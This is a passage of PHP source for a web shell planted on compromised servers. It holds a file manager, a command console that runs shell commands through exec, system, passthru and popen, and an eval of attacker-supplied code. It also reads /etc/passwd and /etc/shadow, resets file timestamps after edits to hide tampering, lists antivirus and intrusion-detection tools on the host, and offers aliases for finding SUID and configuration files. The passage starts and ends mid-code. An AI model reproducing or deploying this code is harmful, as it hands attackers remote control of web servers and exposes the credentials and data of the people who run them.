error!\');\r\n\t}\r\n</script>\r\n<head><body><div style=\'position:absolute;background-color:rgba(95, 110, 130, 0.3);width:100%;top:0;left:0;\'>\r\n<form method=post name=mf style=\'display:none;\'>\r\n<input type=hidden name=a>\r\n<input type=hidden name=c>\r\n<input type=hidden name=p1>\r\n<input type=hidden name=p2>\r\n<input type=hidden name=p3>\r\n<input type=hidden name=charset>\r\n</form>";\r\n\t$freeSpace = @diskfreespace($GLOBALS[\'cwd\']);\r\n\t$totalSpace = @disk_total_space($GLOBALS[\'cwd\']);\r\n\t$totalSpace = $totalSpace?$totalSpace:1;\r\n\t$release = @php_uname(\'r\');\r\n\t$kernel = @php_uname(\'s\');\r\n\t$explink = \'https://noreferer.de/?https://www.exploit-db.com/search/?action=search&description=\';\r\n\tif(strpos(\'Linux\', $kernel) !== false)\r\n\t\t$explink .= urlencode(\'Linux Kernel \' . substr($release,0,6));\r\n\telse\r\n\t\t$explink .= urlencode($kernel . \' \' . substr($release,0,3));\r\n\tif(!function_exists(\'posix_getegid\')) {\r\n\t\t$user = @get_current_user();\r\n\t\t$uid = @getmyuid();\r\n\t\t$gid = @getmygid();\r\n\t\t$group = "?";\r\n\t} else {\r\n\t\t$uid = @posix_getpwuid(@posix_geteuid());\r\n\t\t$gid = @posix_getgrgid(@posix_getegid());\r\n\t\t$user = $uid[\'name\'];\r\n\t\t$uid = $uid[\'uid\'];\r\n\t\t$group = $gid[\'name\'];\r\n\t\t$gid = $gid[\'gid\'];\r\n\t}\r\n\t$cwd_links = \'\';\r\n\t$path = explode("/", $GLOBALS[\'cwd\']);\r\n\t$n=count($path);\r\n\tfor($i=0; $i<$n-1; $i++) {\r\n\t\t$cwd_links .= "<a href=\'#\' onclick=\'g(\\"FilesMan\\",\\"";\r\n\t\tfor($j=0; $j<=$i; $j++)\r\n\t\t\t$cwd_links .= $path[$j].\'/\';\r\n\t\t$cwd_links .= "\\")\'>".$path[$i]."/</a>";\r\n\t}\r\n\t$charsets = array(\'UTF-8\', \'Windows-1251\', \'KOI8-R\', \'KOI8-U\', \'cp866\');\r\n\t$opt_charsets = \'\';\r\n\tforeach($charsets as $▟)\r\n\t\t$opt_charsets .= \'<option value="\'.$▟.\'" \'.($_POST[\'charset\']==$▟?\'selected\':\'\').\'>\'.$▟.\'</option>\';\r\n\t$m = array(\'Sec. Info\'=>\'SecInfo\',\'Files\'=>\'FilesMan\',\'Console\'=>\'Console\',\'Infect\'=>\'Infect\',\'Sql\'=>\'Sql\',\'Php\'=>\'Php\',\'Safe mode\'=>\'SafeMode\',\'String tools\'=>\'StringTools\',\'Bruteforce\'=>\'Bruteforce\',\'Network\'=>\'Network\');\r\n\tif(!empty($GLOBALS[\'▛\']))\r\n\t$m[\'Logout\'] = \'Logout\';\r\n\t$m[\'Self remove\'] = \'SelfRemove\';\r\n\t$menu = \'\';\r\n\tforeach($m as $k => $v)\r\n\t\t$menu .= \'<th>[ <a href="#" onclick="g(\\\'\'.$v.\'\\\',null,\\\'\\\',\\\'\\\',\\\'\\\')">\'.$k.\'</a> ]</th>\';\r\n\t$drives = "";\r\n\tif ($GLOBALS[\'os\'] == \'win\') {\r\n\t\tforeach(range(\'c\',\'z\') as $drive)\r\n\t\tif (is_dir($drive.\':\\\\\'))\r\n\t\t\t$drives .= \'<a href="#" onclick="g(\\\'FilesMan\\\',\\\'\'.$drive.\':/\\\')">[ \'.$drive.\' ]</a> \';\r\n\t}\r\n\t/* (С) 08.2015 dmkcv */\r\n\techo \'<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:\'.($GLOBALS[\'os\'] == \'win\'?\'<br>Drives:\':\'\').\'</span></td>\'.\r\n\t\t \'<td><nobr>\'.substr(@php_uname(), 0, 120).\' <a href="https://noreferer.de/?https://www.google.com/search?q=\'.urlencode(@php_uname()).\'" target="_blank">[ Google ]</a> <a href="\'.$explink.\'" target=_blank>[ Exploit-DB ]</a></nobr><br>\'.$uid.\' ( \'.$user.\' ) <span>Group:</span> \'.$gid.\' ( \' .$group. \' )<br>\'.@phpversion().\' <span>Safe mode:</span> \'.($GLOBALS[\'safe_mode\']?\'<font color=red>ON</font>\':\'<font color=#FFDB5F><b>OFF</b></font>\').\' <a href=# onclick="g(\\\'Php\\\',null,null,\\\'info\\\')">[ phpinfo ]</a> <span>Datetime:</span> \'.date(\'Y-m-d H:i:s\').\'<br>\'.viewSize($totalSpace).\' <span>Free:</span> \'.viewSize($freeSpace).\' (\'.round(100/($totalSpace/$freeSpace),2).\'%)<br>\'.$cwd_links.\' \'.viewPermsColor($GLOBALS[\'cwd\']).\' <a href=# onclick="g(\\\'FilesMan\\\',\\\'\'.$GLOBALS[\'home_cwd\'].\'\\\',\\\'\\\',\\\'\\\',\\\'\\\')">[ home ]</a><br>\'.$drives.\'</td>\'.\r\n\t\t \'<td width=1 align=right><nobr><label><select onchange="g(null,null,null,null,null,this.value)">\'.$opt_charsets.\'</select></label><br><span>Server IP:</span><br>\'.gethostbyname($_SERVER["HTTP_HOST"]).\'<br><span>Client IP:</span><br>\'.$_SERVER[\'REMOTE_ADDR\'].\'</nobr></td></tr></table>\'.\r\n\t\t \'<table style="background-color:#2E6E9C;" cellpadding=3 cellspacing=0 width=100%><tr>\'.$menu.\'</tr></table><div>\';\r\n}\r\nfunction hardFooter() {\r\n\t$is_writable = is_writable($GLOBALS[\'cwd\'])?" <font color=\'#FFDB5F\'>[ Writeable ]</font>":" <font color=red>(Not writable)</font>";\r\n    echo "\r\n</div>\r\n<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%>\r\n\t<tr>\r\n\t\t<td><form onsubmit=\\"".( function_exists(\'actionFilesMan\')? "g(null,this.c.value,\'\');":\'\' )."return false;\\"><span>Change dir:</span><br><input class=\'toolsInp\' type=text name=c value=\'" . htmlspecialchars($GLOBALS[\'cwd\']) ."\'><input type=submit value=\'submit\'></form></td>\r\n\t\t<td><form onsubmit=\\"".(function_exists(\'actionFilesTools\')? "g(\'FilesTools\',null,this.f.value);":\'\' )."return false;\\"><span>Read file:</span><br><input class=\'toolsInp\' type=text name=f required><input type=submit value=\'submit\'></form></td>\r\n\t</tr><tr>\r\n\t\t<td><form onsubmit=\\"".( function_exists(\'actionFilesMan\')? "g(\'FilesMan\',null,\'mkdir\',this.d.value);":\'\' )."return false;\\"><span>Make dir:</span>$is_writable<br><input class=\'toolsInp\' type=text name=d required><input type=submit value=\'submit\'></form></td>\r\n\t\t<td><form onsubmit=\\"".( function_exists(\'actionFilesTools\')? "g(\'FilesTools\',null,this.f.value,\'mkfile\');":\'\' )."return false;\\"><span>Make file:</span>$is_writable<br><input class=\'toolsInp\' type=text name=f required><input type=submit value=\'submit\'></form></td>\r\n\t</tr><tr>\r\n\t\t<td><form onsubmit=\\"".( function_exists(\'actionConsole\')? "g(\'Console\',null,this.c.value);":\'\' )."return false;\\"><span>Execute:</span><br><input class=\'toolsInp\' type=text name=c value=\'\'><input type=submit value=\'submit\'></form></td>\r\n\t\t<td><form method=\'post\' ".( (!function_exists(\'actionFilesMan\'))? " onsubmit=\\"return false;\\" ":\'\' )."ENCTYPE=\'multipart/form-data\'>\r\n\t\t<input type=hidden name=a value=\'FilesMan\'>\r\n\t\t<input type=hidden name=c value=\'" . htmlspecialchars($GLOBALS[\'cwd\']) ."\'>\r\n\t\t<input type=hidden name=p1 value=\'uploadFile\'>\r\n\t\t<input type=hidden name=ne value=\'\'>\r\n\t\t<input type=hidden name=charset value=\'" . (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\') . "\'>\r\n\t\t<span>Upload file:</span>$is_writable<br><input class=\'toolsInp\' type=file name=f[]  multiple><input type=submit value=\'submit\'></form><br  ></td>\r\n\t</tr></table></div>\r\n\t<!-- particles --> <div id=\'particles-js\'></div><script src=\'https://cdn.jsdelivr.net/particles.js/2.0.0/particles.min.js\'></script>\r\n\t<script>particlesJS(\'particles-js\', {\'particles\':{\'number\':{\'value\':80,\'density\':{\'enable\':true,\'value_area\':800}},\'color\':{\'value\':\'#ffffff\'},\'shape\':{\'type\':\'triangle\',\'stroke\':{\'width\':0,\'color\':\'#000000\'},\'polygon\':{\'nb_sides\':5},\'image\':{\'src\':\'img/github.svg\',\'width\':100,\'height\':100}},\'opacity\':{\'value\':0.5,\'random\':true,\'anim\':{\'enable\':false,\'speed\':1,\'opacity_min\':0.1,\'sync\':false}},\'size\':{\'value\':3,\'random\':true,\'anim\':{\'enable\':false,\'speed\':40,\'size_min\':0.1,\'sync\':false}},\'line_linked\':{\'enable\':true,\'distance\':200,\'color\':\'#ffffff\',\'opacity\':0.4,\'width\':1},\'move\':{\'enable\':true,\'speed\':1,\'direction\':\'none\',\'random\':true,\'straight\':false,\'out_mode\':\'out\',\'bounce\':false,\'attract\':{\'enable\':false,\'rotateX\':10000,\'rotateY\':10000}}},\'interactivity\':{\'detect_on\':\'canvas\',\'events\':{\'onhover\':{\'enable\':true,\'mode\':\'grab\'},\'onclick\':{\'enable\':true,\'mode\':\'repulse\'},\'resize\':true},\'modes\':{\'grab\':{\'distance\':200,\'line_linked\':{\'opacity\':0.5}},\'bubble\':{\'particles_nb\':2}}},\'retina_detect\':true});</script>\r\n\t</body></html>";\r\n}\r\nif (!function_exists("posix_getpwuid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getpwuid\')===false)) { function posix_getpwuid($p) {return false;} }\r\nif (!function_exists("posix_getgrgid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getgrgid\')===false)) { function posix_getgrgid($p) {return false;} }\r\nfunction ex($in) {\r\n\t$▖ = \'\';\r\n\tif (function_exists(\'exec\')) {\r\n\t\t@exec($in,$▖);\r\n\t\t$▖ = @join("\\n",$▖);\r\n\t} elseif (function_exists(\'passthru\')) {\r\n\t\tob_start();\r\n\t\t@passthru($in);\r\n\t\t$▖ = ob_get_clean();\r\n\t} elseif (function_exists(\'system\')) {\r\n\t\tob_start();\r\n\t\t@system($in);\r\n\t\t$▖ = ob_get_clean();\r\n\t} elseif (function_exists(\'shell_exec\')) {\r\n\t\t$▖ = shell_exec($in);\r\n\t} elseif (is_resource($f = @popen($in,"r"))) {\r\n\t\t$▖ = "";\r\n\t\twhile(!@feof($f))\r\n\t\t\t$▖ .= fread($f,1024);\r\n\t\tpclose($f);\r\n\t}else return "↳ Unable to execute command\\n";\r\n\treturn ($▖==\'\'?"↳ Query did not return anything\\n":$▖);\r\n}\r\nfunction viewSize($s) {\r\n\tif($s >= 1073741824)\r\n\t\treturn sprintf(\'%1.2f\', $s / 1073741824 ). \' GB\';\r\n\telseif($s >= 1048576)\r\n\t\treturn sprintf(\'%1.2f\', $s / 1048576 ) . \' MB\';\r\n\telseif($s >= 1024)\r\n\t\treturn sprintf(\'%1.2f\', $s / 1024 ) . \' KB\';\r\n\telse\r\n\t\treturn $s . \' B\';\r\n}\r\nfunction perms($p) {\r\n\tif (($p & 0xC000) == 0xC000)$i = \'s\';\r\n\telseif (($p & 0xA000) == 0xA000)$i = \'l\';\r\n\telseif (($p & 0x8000) == 0x8000)$i = \'-\';\r\n\telseif (($p & 0x6000) == 0x6000)$i = \'b\';\r\n\telseif (($p & 0x4000) == 0x4000)$i = \'d\';\r\n\telseif (($p & 0x2000) == 0x2000)$i = \'c\';\r\n\telseif (($p & 0x1000) == 0x1000)$i = \'p\';\r\n\telse $i = \'u\';\r\n\t$i .= (($p & 0x0100) ? \'r\' : \'-\');\r\n\t$i .= (($p & 0x0080) ? \'w\' : \'-\');\r\n\t$i .= (($p & 0x0040) ? (($p & 0x0800) ? \'s\' : \'x\' ) : (($p & 0x0800) ? \'S\' : \'-\'));\r\n\t$i .= (($p & 0x0020) ? \'r\' : \'-\');\r\n\t$i .= (($p & 0x0010) ? \'w\' : \'-\');\r\n\t$i .= (($p & 0x0008) ? (($p & 0x0400) ? \'s\' : \'x\' ) : (($p & 0x0400) ? \'S\' : \'-\'));\r\n\t$i .= (($p & 0x0004) ? \'r\' : \'-\');\r\n\t$i .= (($p & 0x0002) ? \'w\' : \'-\');\r\n\t$i .= (($p & 0x0001) ? (($p & 0x0200) ? \'t\' : \'x\' ) : (($p & 0x0200) ? \'T\' : \'-\'));\r\n\treturn $i;\r\n}\r\nfunction viewPermsColor($f) {\r\n\tif (!@is_readable($f))\r\n\t\treturn \'<font color=#FF0000><b>\'.perms(@fileperms($f)).\'</b></font>\';\r\n\telseif (!@is_writable($f))\r\n\t\treturn \'<font color=white><b>\'.perms(@fileperms($f)).\'</b></font>\';\r\n\telse\r\n\t\treturn \'<font color=#FFDB5F><b>\'.perms(@fileperms($f)).\'</b></font>\';\r\n}\r\nfunction hardScandir($dir) {\r\n    if(function_exists("scandir")) {\r\n        return scandir($dir);\r\n    } else {\r\n        $dh  = opendir($dir);\r\n        while (false !== ($filename = readdir($dh)))\r\n            $files[] = $filename;\r\n        return $files;\r\n    }\r\n}\r\nfunction which($p) {\r\n\t$path = ex(\'which \' . $p);\r\n\tif(!empty($path))\r\n\t\treturn $path;\r\n\treturn false;\r\n}\r\nfunction actionRC() {\r\n\tif(!@$_POST[\'p1\']) {\r\n\t\t$a = array(\r\n\t\t\t"uname" => php_uname(),\r\n\t\t\t"php_version" => phpversion(),\r\n\t\t\t"VERSION" => VERSION,\r\n\t\t\t"safemode" => @ini_get(\'safe_mode\')\r\n\t\t);\r\n\t\techo serialize($a);\r\n\t} else {\r\n\t\teval($_POST[\'p1\']);\r\n\t}\r\n}\r\n//function prototype($k, $v) { $_COOKIE[$k] = $v;setcookie($k, $v);}\r\nfunction actionSecInfo() {\r\n\thardHeader();\r\n\techo \'<h1>Server security information</h1><div class=content>\';\r\n\tfunction showSecParam($n, $v) {\r\n\t\t$v = trim($v);\r\n\t\tif($v) {\r\n\t\t\techo \'<span>\' . $n . \': </span>\';\r\n\t\t\tif(strpos($v, "\\n") === false)\r\n\t\t\t\techo $v . \'<br>\';\r\n\t\t\telse\r\n\t\t\t\techo \'<pre class=ml1>\' . $v . \'</pre>\';\r\n\t\t}\r\n\t}\r\n\tshowSecParam(\'Server software\', @getenv(\'SERVER_SOFTWARE\'));\r\n    if(function_exists(\'apache_get_modules\'))\r\n        showSecParam(\'Loaded Apache modules\', implode(\', \', apache_get_modules()));\r\n\tshowSecParam(\'Disabled PHP Functions\', $GLOBALS[\'disable_functions\']?$GLOBALS[\'disable_functions\']:\'none\');\r\n\tshowSecParam(\'Open base dir\', @ini_get(\'open_basedir\'));\r\n\tshowSecParam(\'Safe mode exec dir\', @ini_get(\'safe_mode_exec_dir\'));\r\n\tshowSecParam(\'Safe mode include dir\', @ini_get(\'safe_mode_include_dir\'));\r\n\tshowSecParam(\'cURL support\', function_exists(\'curl_version\')?\'enabled\':\'no\');\r\n\t$temp=array();\r\n\tif(function_exists(\'mysql_get_client_info\'))\r\n\t\t$temp[] = "MySql (".mysql_get_client_info().")";\r\n\tif(function_exists(\'mssql_connect\'))\r\n\t\t$temp[] = "MSSQL";\r\n\tif(function_exists(\'pg_connect\'))\r\n\t\t$temp[] = "PostgreSQL";\r\n\tif(function_exists(\'oci_connect\'))\r\n\t\t$temp[] = "Oracle";\r\n\tshowSecParam(\'Supported databases\', implode(\', \', $temp));\r\n\techo \'<br>\';\r\n\tif($GLOBALS[\'os\'] == \'nix\') {\r\n            showSecParam(\'Readable /etc/passwd\', @is_readable(\'/etc/passwd\')?"yes <a href=\'#\' onclick=\'g(\\"FilesTools\\", \\"/etc/\\", \\"passwd\\")\'>[view]</a>":\'no\');\r\n            showSecParam(\'Readable /etc/shadow\', @is_readable(\'/etc/shadow\')?"yes <a href=\'#\' onclick=\'g(\\"FilesTools\\", \\"/etc/\\", \\"shadow\\")\'>[view]</a>":\'no\');\r\n            showSecParam(\'OS version\', @file_get_contents(\'/proc/version\'));\r\n            showSecParam(\'Distr name\', @file_get_contents(\'/etc/issue.net\'));\r\n            if(!$GLOBALS[\'safe_mode\']) {\r\n                $userful = array(\'gcc\',\'lcc\',\'cc\',\'ld\',\'make\',\'php\',\'perl\',\'python\',\'ruby\',\'tar\',\'gzip\',\'bzip\',\'bzip2\',\'nc\',\'locate\',\'suidperl\');\r\n                $danger = array(\'kav\',\'nod32\',\'bdcored\',\'uvscan\',\'sav\',\'drwebd\',\'clamd\',\'rkhunter\',\'chkrootkit\',\'iptables\',\'ipfw\',\'tripwire\',\'shieldcc\',\'portsentry\',\'snort\',\'ossec\',\'lidsadm\',\'tcplodg\',\'sxid\',\'logcheck\',\'logwatch\',\'sysmask\',\'zmbscap\',\'sawmill\',\'wormscan\',\'ninja\');\r\n                $downloaders = array(\'wget\',\'fetch\',\'lynx\',\'links\',\'curl\',\'get\',\'lwp-mirror\');\r\n                echo \'<br>\';\r\n                $temp=array();\r\n                foreach ($userful as $▟)\r\n                    if(which($▟))\r\n                        $temp[] = $▟;\r\n                showSecParam(\'Userful\', implode(\', \',$temp));\r\n                $temp=array();\r\n                foreach ($danger as $▟)\r\n                    if(which($▟))\r\n                        $temp[] = $▟;\r\n                showSecParam(\'Danger\', implode(\', \',$temp));\r\n                $temp=array();\r\n                foreach ($downloaders as $▟)\r\n                    if(which($▟))\r\n                        $temp[] = $▟;\r\n                showSecParam(\'Downloaders\', implode(\', \',$temp));\r\n                echo \'<br/>\';\r\n                showSecParam(\'HDD space\', ex(\'df -h\'));\r\n                showSecParam(\'Hosts\', @file_get_contents(\'/etc/hosts\'));\r\n\t\t\t\tshowSecParam(\'Mount options\', @file_get_contents(\'/etc/fstab\'));\r\n            }\r\n\t} else {\r\n\t\tshowSecParam(\'OS Version\',ex(\'ver\'));\r\n\t\tshowSecParam(\'Account Settings\', iconv(\'CP866\', \'UTF-8\',ex(\'net accounts\')));\r\n\t\tshowSecParam(\'User Accounts\', iconv(\'CP866\', \'UTF-8\',ex(\'net user\')));\r\n\t}\r\n\techo \'</div>\';\r\n\thardFooter();\r\n}\r\nfunction actionFilesTools() {\r\n\tif( isset($_POST[\'p1\']) )\r\n\t\t$_POST[\'p1\'] = urldecode($_POST[\'p1\']);\r\n\tif(@$_POST[\'p2\']==\'download\') {\r\n\t\tif(@is_file($_POST[\'p1\']) && @is_readable($_POST[\'p1\'])) {\r\n\t\t\tob_start("ob_gzhandler", 4096);\r\n\t\t\theader("Content-Disposition: attachment; filename=".basename($_POST[\'p1\']));\r\n\t\t\tif (function_exists("mime_content_type")) {\r\n\t\t\t\t$type = @mime_content_type($_POST[\'p1\']);\r\n\t\t\t\theader("Content-Type: " . $type);\r\n\t\t\t} else\r\n                header("Content-Type: application/octet-stream");\r\n\t\t\t$fp = @fopen($_POST[\'p1\'], "r");\r\n\t\t\tif($fp) {\r\n\t\t\t\twhile(!@feof($fp))\r\n\t\t\t\t\techo @fread($fp, 1024);\r\n\t\t\t\tfclose($fp);\r\n\t\t\t}\r\n\t\t}exit;\r\n\t}\r\n\tif( @$_POST[\'p2\'] == \'mkfile\' ) {\r\n\t\tif(!file_exists($_POST[\'p1\'])) {\r\n\t\t\t$fp = @fopen($_POST[\'p1\'], \'w\');\r\n\t\t\tif($fp) {\r\n\t\t\t\t$_POST[\'p2\'] = "edit";\r\n\t\t\t\tfclose($fp);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\thardHeader();\r\n\techo \'<h1>File tools</h1><div class=content>\';\r\n\tif( !file_exists(@$_POST[\'p1\']) ) {\r\n\t\techo \'File not exists\';\r\n\t\thardFooter();\r\n\t\treturn;\r\n\t}\r\n\t$uid = @posix_getpwuid(@fileowner($_POST[\'p1\']));\r\n\tif(!$uid) {\r\n\t\t$uid[\'name\'] = @fileowner($_POST[\'p1\']);\r\n\t\t$gid[\'name\'] = @filegroup($_POST[\'p1\']);\r\n\t} else $gid = @posix_getgrgid(@filegroup($_POST[\'p1\']));\r\n\techo \'<span>Name:</span> \'.htmlspecialchars(@basename($_POST[\'p1\'])).\' <span>Size:</span> \'.(is_file($_POST[\'p1\'])?viewSize(filesize($_POST[\'p1\'])):\'-\').\' <span>Permission:</span> \'.viewPermsColor($_POST[\'p1\']).\' <span>Owner/Group:</span> \'.$uid[\'name\'].\'/\'.$gid[\'name\'].\'<br>\';\r\n\techo \'<span>Create time:</span> \'.date(\'Y-m-d H:i:s\',filectime($_POST[\'p1\'])).\' <span>Access time:</span> \'.date(\'Y-m-d H:i:s\',fileatime($_POST[\'p1\'])).\' <span>Modify time:</span> \'.date(\'Y-m-d H:i:s\',filemtime($_POST[\'p1\'])).\'<br><br>\';\r\n\tif( empty($_POST[\'p2\']) )\r\n\t\t$_POST[\'p2\'] = \'view\';\r\n\tif( is_file($_POST[\'p1\']) )\r\n\t\t$m = array(\'View\', \'Highlight\', \'Download\', \'Hexdump\', \'Edit\', \'Chmod\', \'Rename\', \'Touch\', \'Frame\');\r\n\telse\r\n\t\t$m = array(\'Chmod\', \'Rename\', \'Touch\');\r\n\tforeach($m as $v)\r\n\t\techo \'<a href=# onclick="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',\\\'\'.strtolower($v).\'\\\')">\'.((strtolower($v)==@$_POST[\'p2\'])?\'<b>[ \'.$v.\' ]</b>\':$v).\'</a> \';\r\n\techo \'<br><br>\';\r\n\tswitch($_POST[\'p2\']) {\r\n\t\tcase \'view\':\r\n\t\t\techo \'<pre class=ml1>\';\r\n\t\t\t$fp = @fopen($_POST[\'p1\'], \'r\');\r\n\t\t\tif($fp) {\r\n\t\t\t\twhile( !@feof($fp) )\r\n\t\t\t\t\techo htmlspecialchars(@fread($fp, 1024));\r\n\t\t\t\t@fclose($fp);\r\n\t\t\t}\r\n\t\t\techo \'</pre>\';\r\n\t\t\tbreak;\r\n\t\tcase \'highlight\':\r\n\t\t\tif( @is_readable($_POST[\'p1\']) ) {\r\n\t\t\t\techo \'<div class=ml1 style="background-color: #e1e1e1;color:black;">\';\r\n\t\t\t\t$oRb = @highlight_file($_POST[\'p1\'],true);\r\n\t\t\t\techo str_replace(array(\'<span \',\'</span>\'), array(\'<font \',\'</font>\'),$oRb).\'</div>\';\r\n\t\t\t}\r\n\t\t\tbreak;\r\n\t\tcase \'chmod\':\r\n\t\t\tif( !empty($_POST[\'p3\']) ) {\r\n\t\t\t\t$perms = 0;\r\n\t\t\t\tfor($i=strlen($_POST[\'p3\'])-1;$i>=0;--$i)\r\n\t\t\t\t\t$perms += (int)$_POST[\'p3\'][$i]*pow(8, (strlen($_POST[\'p3\'])-$i-1));\r\n\t\t\t\tif(!@chmod($_POST[\'p1\'], $perms))\r\n\t\t\t\t\techo \'Can\\\'t set permissions!<br><script>document.mf.p3.value="";</script>\';\r\n\t\t\t}\r\n\t\t\tclearstatcache();\r\n\t\t\techo \'<script>p3_="";</script><form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,this.chmod.value);return false;"><input type=text name=chmod value="\'.substr(sprintf(\'%o\', fileperms($_POST[\'p1\'])),-4).\'"><input type=submit value="submit"></form>\';\r\n\t\t\tbreak;\r\n\t\tcase \'edit\':\r\n\t\t\tif( !is_writable($_POST[\'p1\'])) {\r\n\t\t\t\techo \'File isn\\\'t writeable\';\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\tif( !empty($_POST[\'p3\']) ) {\r\n\t\t\t\t$time = @filemtime($_POST[\'p1\']);\r\n\t\t\t\t$_POST[\'p3\'] = substr($_POST[\'p3\'],1);\r\n\t\t\t\t$fp = @fopen($_POST[\'p1\'],"w");\r\n\t\t\t\tif($fp) {\r\n\t\t\t\t\t@fwrite($fp,$_POST[\'p3\']);\r\n\t\t\t\t\t@fclose($fp);\r\n\t\t\t\t\techo \'Saved!<br><script>p3_="";</script>\';\r\n\t\t\t\t\t@touch($_POST[\'p1\'],$time,$time);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\techo \'<form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,\\\'1\\\'+this.text.value);return false;"><textarea name=text class=bigarea>\';\r\n\t\t\t$fp = @fopen($_POST[\'p1\'], \'r\');\r\n\t\t\tif($fp) {\r\n\t\t\t\twhile( !@feof($fp) )\r\n\t\t\t\t\techo htmlspecialchars(@fread($fp, 1024));\r\n\t\t\t\t@fclose($fp);\r\n\t\t\t}\r\n\t\t\techo \'</textarea><input type=submit value="submit"></form>\';\r\n\t\t\tbreak;\r\n\t\tcase \'hexdump\':\r\n\t\t\t$c = @file_get_contents($_POST[\'p1\']);\r\n\t\t\t$n = 0;\r\n\t\t\t$h = array(\'00000000<br>\',\'\',\'\');\r\n\t\t\t$len = strlen($c);\r\n\t\t\tfor ($i=0; $i<$len; ++$i) {\r\n\t\t\t\t$h[1] .= sprintf(\'%02X\',ord($c[$i])).\' \';\r\n\t\t\t\tswitch ( ord($c[$i]) ) {\r\n\t\t\t\t\tcase 0:  $h[2] .= \' \'; break;\r\n\t\t\t\t\tcase 9:  $h[2] .= \' \'; break;\r\n\t\t\t\t\tcase 10: $h[2] .= \' \'; break;\r\n\t\t\t\t\tcase 13: $h[2] .= \' \'; break;\r\n\t\t\t\t\tdefault: $h[2] .= $c[$i]; break;\r\n\t\t\t\t}\r\n\t\t\t\t$n++;\r\n\t\t\t\tif ($n == 32) {\r\n\t\t\t\t\t$n = 0;\r\n\t\t\t\t\tif ($i+1 < $len) {$h[0] .= sprintf(\'%08X\',$i+1).\'<br>\';}\r\n\t\t\t\t\t$h[1] .= \'<br>\';\r\n\t\t\t\t\t$h[2] .= "\\n";\r\n\t\t\t\t}\r\n\t\t \t}\r\n\t\t\techo \'<table cellspacing=1 cellpadding=5 bgcolor=#222><tr><td bgcolor=#202832><span style="font-weight: normal;"><pre>\'.$h[0].\'</pre></span></td><td bgcolor=#060a10><pre>\'.$h[1].\'</pre></td><td bgcolor=#202832><pre>\'.htmlspecialchars($h[2]).\'</pre></td></tr></table>\';\r\n\t\t\tbreak;\r\n\t\tcase \'rename\':\r\n\t\t\tif( !empty($_POST[\'p3\']) ) {\r\n\t\t\t\tif(!@rename($_POST[\'p1\'], $_POST[\'p3\']))\r\n\t\t\t\t\techo \'Can\\\'t rename!<br>\';\r\n\t\t\t\telse\r\n\t\t\t\t\tdie(\'<script>g(null,null,"\'.urlencode($_POST[\'p3\']).\'",null,"")</script>\');\r\n\t\t\t}\r\n\t\t\techo \'<form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,this.name.value);return false;"><input type=text name=name value="\'.htmlspecialchars($_POST[\'p1\']).\'"><input type=submit value="submit"></form>\';\r\n\t\t\tbreak;\r\n\t\tcase \'touch\':\r\n\t\t\tif( !empty($_POST[\'p3\']) ) {\r\n\t\t\t\t$time = strtotime($_POST[\'p3\']);\r\n\t\t\t\tif($time) {\r\n\t\t\t\t\tif(!touch($_POST[\'p1\'],$time,$time))\r\n\t\t\t\t\t\techo \'Fail!\';\r\n\t\t\t\t\telse\r\n\t\t\t\t\t\techo \'Touched!\';\r\n\t\t\t\t} else echo \'Bad time format!\';\r\n\t\t\t}\r\n\t\t\tclearstatcache();\r\n\t\t\techo \'<script>p3_="";</script><form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,this.touch.value);return false;"><input type=text name=touch value="\'.date("Y-m-d H:i:s", @filemtime($_POST[\'p1\'])).\'"><input type=submit value="submit"></form>\';\r\n\t\t\tbreak;\r\n\t\t/* (С) 12.2015 mitryz */\r\n\t\tcase \'frame\':\r\n\t\t\t$frameSrc = substr(htmlspecialchars($GLOBALS[\'cwd\']), strlen(htmlspecialchars($_SERVER[\'DOCUMENT_ROOT\'])));\r\n\t\t\tif ($frameSrc[0] != \'/\')\r\n\t\t\t\t$frameSrc = \'/\' . $frameSrc;\r\n\t\t\tif ($frameSrc[strlen($frameSrc) - 1] != \'/\')\r\n\t\t\t\t$frameSrc = $frameSrc . \'/\';\r\n\t\t\t$frameSrc = $frameSrc . htmlspecialchars($_POST[\'p1\']);\r\n\t\t\techo \'<iframe width="100%" height="900px" scrolling="no" src=\'.$frameSrc.\' onload="onload=height=contentDocument.body.scrollHeight"></iframe>\';\r\n\t\t\tbreak;\r\n\t}\r\n\techo \'</div>\';\r\n\thardFooter();\r\n}\r\nif($os == \'win\')\r\n\t$aliases = array(\r\n\t\t"List Directory" => "dir",\r\n    \t"Find index.php in current dir" => "dir /s /w /b index.php",\r\n    \t"Find *config*.php in current dir" => "dir /s /w /b *config*.php",\r\n    \t"Show active connections" => "netstat -an",\r\n    \t"Show running services" => "net start",\r\n    \t"User accounts" => "net user",\r\n    \t"Show computers" => "net view",\r\n\t\t"ARP Table" => "arp -a",\r\n\t\t"IP Configuration" => "ipconfig /all"\r\n\t);\r\nelse\r\n\t$aliases = array(\r\n  \t\t"List dir" => "ls -lha",\r\n\t\t"list file attributes on a Linux second extended file system" => "lsattr -va",\r\n  \t\t"show opened ports" => "netstat -an | grep -i listen",\r\n        "process status" => "ps aux",\r\n\t\t"Find" => "",\r\n  \t\t"find all suid files" => "find / -type f -perm -04000 -ls",\r\n  \t\t"find suid files in current dir" => "find . -type f -perm -04000 -ls",\r\n  \t\t"find all sgid files" => "find / -type f -perm -02000 -ls",\r\n  \t\t"find sgid files in current dir" => "find . -type f -perm -02000 -ls",\r\n  \t\t"find config.inc.php files" => "find / -type f -name config.inc.php",\r\n  \t\t"find config* files" => "find / -type f -name \\"config*\\"",\r\n  \t\t"find config* files in current dir" => "find . -type f -name \\"config*\\"",\r\n  \t\t"find all writable folders and files" => "find / -perm -2 -ls",\r\n  \t\t"find all writable folders and files in current dir" => "find . -perm -2 -ls",\r\n  \t\t"find all service.pwd files" => "find / -type f -name service.pwd",\r\n  \t\t"find 